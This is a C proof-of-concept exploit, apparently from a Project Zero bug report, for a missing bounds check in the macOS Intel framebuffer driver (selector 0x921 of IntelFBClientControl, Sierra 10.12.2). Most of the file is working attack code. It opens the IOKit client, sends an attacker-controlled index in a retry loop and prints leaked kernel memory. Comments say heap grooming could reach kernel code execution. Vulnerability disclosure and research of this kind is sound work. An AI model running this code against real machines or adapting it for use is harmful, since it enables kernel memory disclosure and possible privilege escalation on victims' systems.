102 lines
No EOL
2.9 KiB
C
102 lines
No EOL
2.9 KiB
C
/*
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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1071
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Selector 0x921 of IntelFBClientControl ends up in AppleIntelCapriController::GetLinkConfig
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This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
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uses to index an array of pointers with no bounds checking:
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This pointer is passed to AppleIntelFramebuffer::validateDisplayMode and the uint64 at offset +2130h is used as a C++ object pointer
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on which a virtual method is called. With some heap grooming this could be used to get kernel code execution.
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tested on MacOS Sierra 10.12.2 (16C67)
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*/
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// ianbeer
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// build: clang -o capri_exec capri_exec.c -framework IOKit
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#if 0
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MacOS kernel code execution due to lack of bounds checking in AppleIntelCapriController::GetLinkConfig
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Selector 0x921 of IntelFBClientControl ends up in AppleIntelCapriController::GetLinkConfig
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This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
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uses to index an array of pointers with no bounds checking:
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This pointer is passed to AppleIntelFramebuffer::validateDisplayMode and the uint64 at offset +2130h is used as a C++ object pointer
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on which a virtual method is called. With some heap grooming this could be used to get kernel code execution.
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tested on MacOS Sierra 10.12.2 (16C67)
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#endif
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <mach/mach_error.h>
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#include <IOKit/IOKitLib.h>
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int main(int argc, char** argv){
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kern_return_t err;
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io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));
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if (service == IO_OBJECT_NULL){
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printf("unable to find service\n");
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return 0;
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}
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io_connect_t conn = MACH_PORT_NULL;
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err = IOServiceOpen(service, mach_task_self(), 0, &conn);
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if (err != KERN_SUCCESS){
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printf("unable to get user client connection\n");
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return 0;
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}
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uint64_t inputScalar[16];
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uint64_t inputScalarCnt = 0;
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char inputStruct[4096];
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size_t inputStructCnt = 4096;
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uint64_t outputScalar[16];
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uint32_t outputScalarCnt = 0;
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char outputStruct[4096];
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size_t outputStructCnt = 0x1d8;
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for (int step = 1; step < 1000; step++) {
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memset(inputStruct, 0, inputStructCnt);
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*(uint32_t*)inputStruct = 0x238 + (step*(0x2000/8));
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outputStructCnt = 4096;
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memset(outputStruct, 0, outputStructCnt);
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err = IOConnectCallMethod(
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conn,
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0x921,
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inputScalar,
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inputScalarCnt,
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inputStruct,
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inputStructCnt,
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outputScalar,
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&outputScalarCnt,
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outputStruct,
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&outputStructCnt);
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if (err == KERN_SUCCESS) {
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break;
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}
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printf("retrying 0x2000 up - %s\n", mach_error_string(err));
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}
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uint64_t* leaked = (uint64_t*)(outputStruct+3);
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for (int i = 0; i < 0x1d8/8; i++) {
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printf("%016llx\n", leaked[i]);
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}
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return 0;
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} |